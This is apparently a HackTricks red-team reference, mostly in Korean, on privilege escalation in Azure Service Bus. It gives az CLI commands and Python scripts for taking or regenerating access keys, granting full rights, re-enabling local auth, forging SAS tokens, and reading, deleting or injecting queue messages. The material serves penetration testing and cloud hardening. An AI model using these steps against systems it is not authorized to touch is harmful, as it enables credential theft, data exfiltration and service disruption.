Az - Service Bus Privesc

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Service Bus

자세한 정보는 다음을 확인하세요:

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action OR Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

이 권한은 Service Bus 네임스페이스 내의 로컬 권한 규칙에 대한 키를 가져오거나 재생성할 수 있게 해줍니다. 이 키를 사용하여 Service Bus 네임스페이스로 인증할 수 있으며, 이를 통해 모든 큐나 주제로 메시지를 전송하거나, 모든 큐나 구독에서 메시지를 수신하거나, 시스템과 상호작용하여 운영을 방해하거나, 유효한 사용자를 가장하거나, 메시징 워크플로우에 악성 데이터를 주입할 수 있습니다.

기본적으로 RootManageSharedAccessKey 규칙은 Service Bus 네임스페이스에 대한 전체 제어 권한을 가지며, az cli에서 사용됩니다. 그러나 다른 키 값이 있는 다른 규칙이 존재할 수 있습니다.

bash
# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

이 권한을 사용하면 모든 권한과 자신의 키를 가진 새로운 권한 규칙을 생성할 수 있습니다:

bash
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

[!WARNING] 이 명령은 키로 응답하지 않으므로 권한 상승을 위해 이전 명령(및 권한)으로 키를 가져와야 합니다.

또한, 해당 명령(Microsoft.ServiceBus/namespaces/authorizationRules/read)을 사용하여 Azure CLI를 통해 이 작업을 수행하면 기존 권한 규칙을 업데이트하고 다음 명령으로 더 많은 권한을 부여할 수 있습니다(부족한 경우).

bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Service Bus 네임스페이스 내의 특정 주제와 큐는 자체 권한 부여 규칙을 가질 수 있으며, 이를 통해 엔터티에 대한 액세스를 제어할 수 있습니다. 이러한 권한을 통해 이러한 로컬 권한 부여 규칙의 키를 검색하거나 재생성할 수 있으며, 이를 통해 엔터티로 인증하고 메시지를 보내거나 받을 수 있으며, 구독을 관리하거나 시스템과 상호작용하여 운영을 방해하거나 유효한 사용자를 가장하거나 메시징 워크플로에 악성 데이터를 주입할 수 있습니다.

bash
# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

이 권한을 사용하면 모든 권한과 자체 키를 가진 새로운 권한 규칙을 생성할 수 있습니다:

bash
# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

[!WARNING] 이 명령은 키를 반환하지 않으므로, 권한 상승을 위해 이전 명령(및 권한)으로 키를 가져와야 합니다.

또한, 해당 명령(Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read)을 사용하여 Azure CLI를 통해 이 작업을 수행하면, 기존의 권한 규칙을 업데이트하고 다음 명령으로 더 많은 권한을 부여할 수 있습니다(부족한 경우).

bash
# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)

이 권한을 통해 공격자는 다음 명령어로 "로컬 인증"을 다시 활성화할 수 있습니다. 따라서 모든 공유 정책의 키가 작동합니다.

bash
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

Send Messages with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

PrimaryConnectionString를 검색할 수 있으며, 이는 Service Bus 네임스페이스의 자격 증명 역할을 합니다. 이 연결 문자열을 사용하여 Service Bus 네임스페이스로 완전히 인증할 수 있으며, 이를 통해 모든 큐나 주제로 메시지를 전송하고 시스템과 상호작용하여 운영을 방해하거나 유효한 사용자를 가장하거나 메시징 워크플로우에 악성 데이터를 주입할 수 있는 잠재적인 방법을 제공합니다. 이 방법은 --disable-local-auth가 false로 설정된 경우에 작동합니다(즉, 로컬 인증이 활성화됨).

python
import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")

asyncio.run(send_message())

추가로 az rest를 사용하여 메시지를 보낼 수 있으며, 이 경우 사용하기 위해 sas 토큰을 생성해야 합니다.

python
import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
bash
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"

Receive with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

PrimaryConnectionString을 검색할 수 있으며, 이는 Service Bus 네임스페이스의 자격 증명 역할을 합니다. 이 연결 문자열을 사용하여 네임스페이스 내의 모든 큐 또는 구독에서 메시지를 수신할 수 있으며, 이는 잠재적으로 민감하거나 중요한 데이터에 대한 접근을 허용하고, 데이터 유출을 가능하게 하며, 메시지 처리 및 애플리케이션 워크플로에 간섭할 수 있습니다. 이 방법은 --disable-local-auth가 false로 설정된 경우에 작동합니다.

python
import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)

# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
#     for msg in msgs:
#         print("Received:", msg)
#         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

추가로 az rest를 사용하여 메시지를 보낼 수 있으며, 이 경우 사용하기 위해 sas 토큰을 생성해야 합니다.

python
import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

큐에서는 메시지를 가져오거나 미리 볼 수 있습니다(메시지를 가져오면 삭제되지만, 미리 보기에서는 삭제되지 않습니다):

bash
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

주제:

bash
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

메시지 전송. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

이 권한을 사용하여 메시지를 전송할 수 있습니다. --disable-local-auth가 true로 설정되어 있어도 가능합니다.

python
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()

if __name__ == "__main__":
asyncio.run(run())

메시지 수신. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

이 권한을 사용하여 메시지를 수신할 수 있습니다. --disable-local-auth가 true로 설정되어 있어도 가능합니다.

python
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)

# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     async for msg in receiver:
#         print("Received from Topic Subscription:", msg)
#         await receiver.complete_message(msg)

await credential.close()

asyncio.run(run())
print("Done receiving messages")

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기